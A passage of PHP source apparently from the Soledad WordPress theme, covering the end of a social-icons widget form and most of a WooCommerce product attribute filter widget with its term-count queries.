                           name="<?php echo esc_attr( $this->get_field_name( 'slack' ) ); ?>" <?php checked( (bool) $instance['slack'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'mixcloud' ) ); ?>"><?php esc_html_e( 'Show Mixcloud:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'mixcloud' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'mixcloud' ) ); ?>" <?php checked( (bool) $instance['mixcloud'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'goodreads' ) ); ?>"><?php esc_html_e( 'Show Goodreads:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'goodreads' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'goodreads' ) ); ?>" <?php checked( (bool) $instance['goodreads'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tripadvisor' ) ); ?>"><?php esc_html_e( 'Show Tripadvisor:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tripadvisor' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tripadvisor' ) ); ?>" <?php checked( (bool) $instance['tripadvisor'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tiktok' ) ); ?>"><?php esc_html_e( 'Show Tiktok:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tiktok' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tiktok' ) ); ?>" <?php checked( (bool) $instance['tiktok'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'dailymotion' ) ); ?>"><?php esc_html_e( 'Show Dailymotion:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'dailymotion' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'dailymotion' ) ); ?>" <?php checked( (bool) $instance['dailymotion'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'blogger' ) ); ?>"><?php esc_html_e( 'Show Blogger:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'blogger' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'blogger' ) ); ?>" <?php checked( (bool) $instance['blogger'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'delicious' ) ); ?>"><?php esc_html_e( 'Show Delicious:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'delicious' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'delicious' ) ); ?>" <?php checked( (bool) $instance['delicious'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'deviantart' ) ); ?>"><?php esc_html_e( 'Show Deviantart:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'deviantart' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'deviantart' ) ); ?>" <?php checked( (bool) $instance['deviantart'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'digg' ) ); ?>"><?php esc_html_e( 'Show Digg:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'digg' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'digg' ) ); ?>" <?php checked( (bool) $instance['digg'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'evernote' ) ); ?>"><?php esc_html_e( 'Show Evernote:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'evernote' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'evernote' ) ); ?>" <?php checked( (bool) $instance['evernote'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'forrst' ) ); ?>"><?php esc_html_e( 'Show Forrst:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'forrst' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'forrst' ) ); ?>" <?php checked( (bool) $instance['forrst'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'grooveshark' ) ); ?>"><?php esc_html_e( 'Show Grooveshark:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'grooveshark' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'grooveshark' ) ); ?>" <?php checked( (bool) $instance['grooveshark'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'lastfm' ) ); ?>"><?php esc_html_e( 'Show Lastfm:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'lastfm' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'lastfm' ) ); ?>" <?php checked( (bool) $instance['lastfm'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'myspace' ) ); ?>"><?php esc_html_e( 'Show Myspace:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'myspace' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'myspace' ) ); ?>" <?php checked( (bool) $instance['myspace'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'paypal' ) ); ?>"><?php esc_html_e( 'Show Paypal:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'paypal' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'paypal' ) ); ?>" <?php checked( (bool) $instance['paypal'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'skype' ) ); ?>"><?php esc_html_e( 'Show Skype:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'skype' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'skype' ) ); ?>" <?php checked( (bool) $instance['skype'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'window' ) ); ?>"><?php esc_html_e( 'Show Window:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'window' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'window' ) ); ?>" <?php checked( (bool) $instance['window'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'WordPress' ) ); ?>"><?php esc_html_e( 'Show WordPress:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'WordPress' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'WordPress' ) ); ?>" <?php checked( (bool) $instance['wordPress'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yahoo' ) ); ?>"><?php esc_html_e( 'Show Yahoo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yahoo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yahoo' ) ); ?>" <?php checked( (bool) $instance['yahoo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yandex' ) ); ?>"><?php esc_html_e( 'Show Yandex:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yandex' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yandex' ) ); ?>" <?php checked( (bool) $instance['yandex'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'douban' ) ); ?>"><?php esc_html_e( 'Show Douban:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'douban' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'douban' ) ); ?>" <?php checked( (bool) $instance['douban'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'threads' ) ); ?>"><?php esc_html_e( 'Show Threads:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'threads' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'threads' ) ); ?>" <?php checked( (bool) $instance['threads'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yelp' ) ); ?>"><?php esc_html_e( 'Show Yelp:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yelp' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yelp' ) ); ?>" <?php checked( (bool) $instance['yelp'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'qq' ) ); ?>"><?php esc_html_e( 'Show QQ:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'qq' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'qq' ) ); ?>" <?php checked( (bool) $instance['qq'], true ); ?> />
                </p>
            </div>
			<?php
		}
	}
}
?>
PK     2w\i5      widgets/product_filter.phpnu [        <?php

/**
 * Product Filter by Attr
 * Sort & filter woocommerce product with ajax support
 *
 * @package Wordpress
 * @since 1.2
 */

if ( ! class_exists( 'Penci_Product_Filter' ) ) {
	class Penci_Product_Filter extends WPH_Widget {

		function __construct() {

			$attribute_array      = array();
			$attribute_taxonomies = wc_get_attribute_taxonomies();

			if ( $attribute_taxonomies ) {
				foreach ( $attribute_taxonomies as $tax ) {
					$attribute_array[ $tax->attribute_name ] = $tax->attribute_name;
				}
			}

			$categories_array = array(
				esc_html__( 'All categories', 'soledad' ) => 'all',
			);

			$categories = $this->get_categories();

			if ( ! empty( $categories ) ) {
				foreach ( $categories as $cat ) {
					$title = $cat->post_title;
					$id    = ' (ID:' . $cat->id . ')';
					if ( $cat->parent ) {
						$title = $title . $id . ' (Parent ID:' . $cat->parent . ')';
					}
					$categories_array[ $title . $id ] = $cat->id;
				}
			}

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Product Filter', 'soledad' ),
				// Widget Backend Description
				'description' => esc_html__( 'Shows a custom attribute in a widget which lets you narrow down the list of products when viewing product categories.', 'soledad' ),
				'slug'        => 'soledad-product-filter',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Filter by', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
				array(
					'id'     => 'attribute',
					'type'   => 'dropdown',
					'std'    => '',
					'name'   => esc_html__( 'Attribute', 'soledad' ),
					'fields' => $attribute_array
				),
				/*array(
					'id'      => 'category',
					'type'    => 'select2',
					'default' => array( 'all' ),
					'name'    => esc_html__( 'Show on category', 'soledad' ),
					'fields'  => $categories_array
				),*/
				array(
					'id'     => 'query_type',
					'type'   => 'dropdown',
					'std'    => 'and',
					'name'   => esc_html__( 'Query type', 'soledad' ),
					'fields' => array(
						esc_html__( 'AND', 'soledad' ) => 'and',
						esc_html__( 'OR', 'soledad' )  => 'or'
					)
				),
				array(
					'id'     => 'display',
					'type'   => 'dropdown',
					'std'    => 'list',
					'name'   => esc_html__( 'Display type', 'soledad' ),
					'fields' => array(
						esc_html__( 'list', 'soledad' )      => 'list',
						esc_html__( '2 columns', 'soledad' ) => 'double',
						esc_html__( 'inline', 'soledad' )    => 'inline',
						esc_html__( 'Dropdown', 'soledad' )  => 'dropdown'
					)
				),
				array(
					'id'          => 'size',
					'type'        => 'dropdown',
					'std'         => 'normal',
					'name'        => esc_html__( 'Swatches size', 'soledad' ),
					'description' => esc_html__( 'Only work with Color & Image Attribute Type', 'soledad' ),
					'fields'      => array(
						esc_html__( 'normal', 'soledad' ) => 'normal',
						esc_html__( 'large', 'soledad' )  => 'large',
						esc_html__( 'small', 'soledad' )  => 'small',
					)
				),
				array(
					'id'     => 'labels',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show labels', 'soledad' ),
					'fields' => array(
						esc_html__( 'ON', 'soledad' )  => 'on',
						esc_html__( 'OFF', 'soledad' ) => 'off'
					)
				),
				array(
					'id'     => 'count',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show product count number', 'soledad' ),
					'fields' => array(
						esc_html__( 'ON', 'soledad' )  => 'on',
						esc_html__( 'OFF', 'soledad' ) => 'off'
					)
				),
				array(
					'id'     => 'tooltips',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show tooltips', 'soledad' ),
					'fields' => array(
						esc_html__( 'OFF', 'soledad' ) => 'off',
						esc_html__( 'ON', 'soledad' )  => 'on',
					)
				)
			);

			// create widget
			$this->create_widget( $args );
		}

		public function get_categories() {
			global $wpdb;

			$categories = $wpdb->get_results( "
			SELECT
				t.term_id AS id,
				t.name    AS post_title,
				t.slug    AS post_url,
				parent    AS parent
			FROM {$wpdb->prefix}terms t
				LEFT JOIN {$wpdb->prefix}term_taxonomy tt
						ON t.term_id = tt.term_id
			WHERE tt.taxonomy = 'product_cat'
			ORDER BY name" );

			return $categories;
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$taxonomy           = isset( $instance['attribute'] ) ? wc_attribute_taxonomy_name( $instance['attribute'] ) : '';
			$category           = isset( $instance['category'] ) ? $instance['category'] : array( 'all' );
			$query_type         = isset( $instance['query_type'] ) ? $instance['query_type'] : 'and';
			$display            = isset( $instance['display'] ) ? $instance['display'] : 'list';
			$template           = isset( $instance['template'] ) ? $instance['template'] : 'default';

			if ( ! is_shop() && ! is_product_taxonomy() && $template == 'default' ) {
				return;
			}

			$current_cat = get_queried_object();

			if ( ! is_array( $category ) ) {
				$category = explode( ',', $category );
			}

			if ( ! is_tax() && ! in_array( 'all', $category ) ) {
				return;
			}

			if ( ! in_array( 'all', $category ) && property_exists( $current_cat, 'term_id' ) && ! in_array( $current_cat->term_id, $category ) && ! in_array( $current_cat->parent, $category ) ) {
				return;
			}


			if ( ! taxonomy_exists( $taxonomy ) ) {
				return;
			}

			$get_terms_args = array( 'hide_empty' => '1' );

			$orderby = wc_attribute_orderby( $taxonomy );

			switch ( $orderby ) {
				case 'name' :
					$get_terms_args['orderby']    = 'name';
					$get_terms_args['menu_order'] = false;
					break;
				case 'id' :
					$get_terms_args['orderby']    = 'id';
					$get_terms_args['order']      = 'ASC';
					$get_terms_args['menu_order'] = false;
					break;
				case 'menu_order' :
					$get_terms_args['menu_order'] = 'ASC';
					break;
			}

			$terms = get_terms( $taxonomy, $get_terms_args );

			if ( 0 === sizeof( $terms ) ) {
				return;
			}

			ob_start();

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}
			if ( $template == 'default' ) {
				if ( 'dropdown' === $display ) {
					wp_enqueue_script( 'selectWoo' );
					wp_enqueue_style( 'select2' );
					$found = $this->layered_nav_dropdown( $terms, $taxonomy, $query_type );
				} else {
					$found = $this->layered_nav_list( $terms, $taxonomy, $query_type, $instance );
				}
			} else {
				$found = $this->layered_nav_checkbox_list( $terms, $taxonomy, $query_type, $instance );
			}

			echo wp_kses_post( $args['after_widget'] );

			// Force found when option is selected - do not force found on taxonomy attributes
			if ( ! is_tax() && is_array( $_chosen_attributes ) && array_key_exists( $taxonomy, $_chosen_attributes ) ) {
				$found = true;
			}

			if ( ! $found ) {
				ob_end_clean();
			} else {
				echo ob_get_clean();
			}

		}

		/**
		 * Return the currently viewed taxonomy name.
		 * @return string
		 */
		protected function get_current_taxonomy() {
			return is_tax() ? get_queried_object()->taxonomy : '';
		}

		/**
		 * Return the currently viewed term ID.
		 * @return int
		 */
		protected function get_current_term_id() {
			return absint( is_tax() ? get_queried_object()->term_id : 0 );
		}

		/**
		 * Return the currently viewed term slug.
		 * @return int
		 */
		protected function get_current_term_slug() {
			return absint( is_tax() ? get_queried_object()->slug : 0 );
		}

		/**
		 * Show dropdown layered nav.
		 *
		 * @param array $terms Terms.
		 * @param string $taxonomy Taxonomy.
		 * @param string $query_type Query Type.
		 *
		 * @return bool Will nav display?
		 */
		protected function layered_nav_dropdown( $terms, $taxonomy, $query_type ) {
			global $wp;
			$found = false;

			if ( $taxonomy !== $this->get_current_taxonomy() ) {
				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				} else {
					$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				}

				$_chosen_attributes   = WC_Query::get_layered_nav_chosen_attributes();
				$taxonomy_filter_name = str_replace( 'pa_', '', $taxonomy );
				$taxonomy_label       = wc_attribute_label( $taxonomy );

				/* translators: %s: taxonomy name */
				$any_label      = apply_filters( 'woocommerce_layered_nav_any_label', sprintf( __( 'Any %s', 'soledad' ), $taxonomy_label ), $taxonomy_label, $taxonomy );
				$multiple       = 'or' === $query_type;
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();

				if ( '' === get_option( 'permalink_structure' ) ) {
					$form_action = remove_query_arg( array(
						'page',
						'paged'
					), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
				} else {
					$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( trailingslashit( $wp->request ) ) );
				}


				echo '<form method="get" action="' . esc_url( $form_action ) . '" class="penci-widget-layered-nav-dropdown-form">';
				echo '<select class="penci-widget-layered-nav-dropdown penci_woo_dropdown_layered_nav_' . esc_attr( $taxonomy_filter_name ) . '"' . ( $multiple ? 'multiple="multiple"' : '' ) . ' data-placeholder="' . esc_attr( $any_label ) . '" data-noResults="' . esc_html__( 'No matches found', 'soledad' ) . '" data-slug="' . esc_attr( $taxonomy_filter_name ) . '">';
				echo '<option value="">' . esc_html( $any_label ) . '</option>';

				foreach ( $terms as $term ) {

					// If on a term page, skip that term in widget list.
					if ( $term->term_id === $this->get_current_term_id() ) {
						continue;
					}

					// Get count based on current view.
					$option_is_set = in_array( $term->slug, $current_values, true );
					$count         = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

					// Only show options with count > 0.
					if ( 0 < $count ) {
						$found = true;
					} elseif ( 0 === $count && ! $option_is_set ) {
						continue;
					}

					echo '<option value="' . esc_attr( urldecode( $term->slug ) ) . '" ' . selected( $option_is_set, true, false ) . '>' . esc_html( $term->name ) . '</option>';
				}

				echo '</select>';

				if ( $multiple ) {
					echo '<button class="penci-widget-layered-nav-dropdown__submit" type="submit" value="' . esc_attr__( 'Apply', 'soledad' ) . '">' . esc_html__( 'Apply', 'soledad' ) . '</button>';
				}

				if ( 'or' === $query_type ) {
					echo '<input type="hidden" name="query_type_' . esc_attr( $taxonomy_filter_name ) . '" value="or" />';
				}

				echo '<input type="hidden" name="filter_' . esc_attr( $taxonomy_filter_name ) . '" value="' . esc_attr( implode( ',', $current_values ) ) . '" />';
				echo wc_query_string_form_fields( null, array(
					'filter_' . $taxonomy_filter_name,
					'query_type_' . $taxonomy_filter_name
				), '', true ); // @codingStandardsIgnoreLine
				echo '</form>';
			}

			return $found;
		}

		/**
		 * Get current page URL for layered nav items.
		 * @return string
		 */
		protected function get_page_base_url() {
			if ( Automattic\Jetpack\Constants::is_defined( 'SHOP_IS_ON_FRONT' ) ) {
				$link = home_url();
			} elseif ( is_shop() ) {
				$link = get_permalink( wc_get_page_id( 'shop' ) );
			} elseif ( is_product_category() ) {
				$link = get_term_link( get_query_var( 'product_cat' ), 'product_cat' );
			} elseif ( is_product_tag() ) {
				$link = get_term_link( get_query_var( 'product_tag' ), 'product_tag' );
			} else {
				$queried_object = get_queried_object();
				$link           = get_term_link( $queried_object->slug, $queried_object->taxonomy );
			}

			// Min/Max.
			if ( isset( $_GET['min_price'] ) ) {
				$link = add_query_arg( 'min_price', wc_clean( wp_unslash( $_GET['min_price'] ) ), $link );
			}

			if ( isset( $_GET['max_price'] ) ) {
				$link = add_query_arg( 'max_price', wc_clean( wp_unslash( $_GET['max_price'] ) ), $link );
			}

			// Order by.
			if ( isset( $_GET['orderby'] ) ) {
				$link = add_query_arg( 'orderby', wc_clean( wp_unslash( $_GET['orderby'] ) ), $link );
			}

			/**
			 * Search Arg.
			 * To support quote characters, first they are decoded from &quot; entities, then URL encoded.
			 */
			if ( get_search_query() ) {
				$link = add_query_arg( 's', rawurlencode( htmlspecialchars_decode( get_search_query() ) ), $link );
			}

			// Post Type Arg
			if ( isset( $_GET['post_type'] ) ) {
				$link = add_query_arg( 'post_type', wc_clean( wp_unslash( $_GET['post_type'] ) ), $link );

				// Prevent post type and page id when pretty permalinks are disabled.
				if ( is_shop() ) {
					$link = remove_query_arg( 'page_id', $link );
				}
			}

			// Min Rating Arg
			if ( isset( $_GET['rating_filter'] ) ) {
				$link = add_query_arg( 'rating_filter', wc_clean( wp_unslash( $_GET['rating_filter'] ) ), $link );
			}

			// All current filters.
			if ( $_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes() ) { // phpcs:ignore Squiz.PHP.DisallowMultipleAssignments.Found, WordPress.CodeAnalysis.AssignmentInCondition.Found
				foreach ( $_chosen_attributes as $name => $data ) {
					$filter_name = wc_attribute_taxonomy_slug( $name );
					if ( ! empty( $data['terms'] ) ) {
						$link = add_query_arg( 'filter_' . $filter_name, implode( ',', $data['terms'] ), $link );
					}
					if ( 'or' === $data['query_type'] ) {
						$link = add_query_arg( 'query_type_' . $filter_name, 'or', $link );
					}
				}
			}

			return apply_filters( 'woocommerce_widget_get_current_page_url', $link, $this );
		}

		/**
		 * Count products within certain terms, taking the main WP query into consideration.
		 *
		 * @param array $term_ids
		 * @param string $taxonomy
		 * @param string $query_type
		 *
		 * @return array
		 */
		protected function get_filtered_term_product_counts( $term_ids, $taxonomy, $query_type ) {
			global $wpdb;

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();
			if ( 'or' === $query_type ) {
				foreach ( $tax_query as $key => $query ) {
					if ( is_array( $query ) && $taxonomy === $query['taxonomy'] ) {
						unset( $tax_query[ $key ] );
					}
				}
			}

			$meta_query     = new WP_Meta_Query( $meta_query );
			$tax_query      = new WP_Tax_Query( $tax_query );
			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );
			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as term_count, terms.term_id as term_count_id";
			$query['from']   = "FROM {$wpdb->posts}";
			$query['join']   = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				" . $tax_query_sql['join'] . $meta_query_sql['join'];
			$query['where']  = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . "
				AND terms.term_id IN (" . implode( ',', array_map( 'absint', $term_ids ) ) . ")
			";

			if ( $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->postmeta} pm on p.ID = pm.post_id and pm.meta_key='_sku' and pm.meta_value LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_sku' AND meta_value LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query['group_by'] = 'GROUP BY terms.term_id';
			$query             = apply_filters( 'woocommerce_get_filtered_term_product_counts_query', $query );
			$query             = implode( ' ', $query );

			// We have a query - let's see if cached results of this query already exist.
			$query_hash = md5( $query );

			// Maybe store a transient of the count values.
			$cache = apply_filters( 'woocommerce_layered_nav_count_maybe_cache', true );
			if ( true === $cache ) {
				$cached_counts = (array) get_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ) );
			} else {
				$cached_counts = array();
			}

			if ( ! isset( $cached_counts[ $query_hash ] ) ) {
				$results                      = $wpdb->get_results( $query, ARRAY_A ); // @codingStandardsIgnoreLine
				$counts                       = array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) );
				$cached_counts[ $query_hash ] = $counts;
				if ( true === $cache ) {
					set_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ), $cached_counts, DAY_IN_SECONDS );
				}
			}

			return array_map( 'absint', (array) $cached_counts[ $query_hash ] );

		}

		protected function get_filtered_term_product_counts_new( $term_ids, $taxonomy, $query_type ) {
			global $wpdb;

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();
			if ( 'or' === $query_type ) {
				foreach ( $tax_query as $key => $query ) {
					if ( is_array( $query ) && $taxonomy === $query['taxonomy'] ) {
						unset( $tax_query[ $key ] );
					}
				}
			}

			$meta_query     = new WP_Meta_Query( $meta_query );
			$tax_query      = new WP_Tax_Query( $tax_query );
			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );
			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as term_count, terms.term_id as term_count_id";
			$query['from']   = "FROM {$wpdb->posts}";
			$query['join']   = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				" . $tax_query_sql['join'] . $meta_query_sql['join'];
			$query['where']  = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . "
				AND terms.term_id IN (" . implode( ',', array_map( 'absint', $term_ids ) ) . ")
			";

			if ( $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->wc_product_meta_lookup} ml on p.ID = ml.product_id and ml.sku LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT product_id FROM {$wpdb->wc_product_meta_lookup} WHERE sku LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query['group_by'] = 'GROUP BY terms.term_id';
			$query             = apply_filters( 'woocommerce_get_filtered_term_product_counts_query', $query );
			$query             = implode( ' ', $query );

			// We have a query - let's see if cached results of this query already exist.
			$query_hash = md5( $query );

			// Maybe store a transient of the count values.
			$cache = apply_filters( 'woocommerce_layered_nav_count_maybe_cache', true );
			if ( true === $cache ) {
				$cached_counts = (array) get_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ) );
			} else {
				$cached_counts = array();
			}

			if ( ! isset( $cached_counts[ $query_hash ] ) ) {
				$results                      = $wpdb->get_results( $query, ARRAY_A ); // @codingStandardsIgnoreLine
				$counts                       = array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) );
				$cached_counts[ $query_hash ] = $counts;
				if ( true === $cache ) {
					set_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ), $cached_counts, DAY_IN_SECONDS );
				}
			}

			return array_map( 'absint', (array) $cached_counts[ $query_hash ] );

		}

		/**
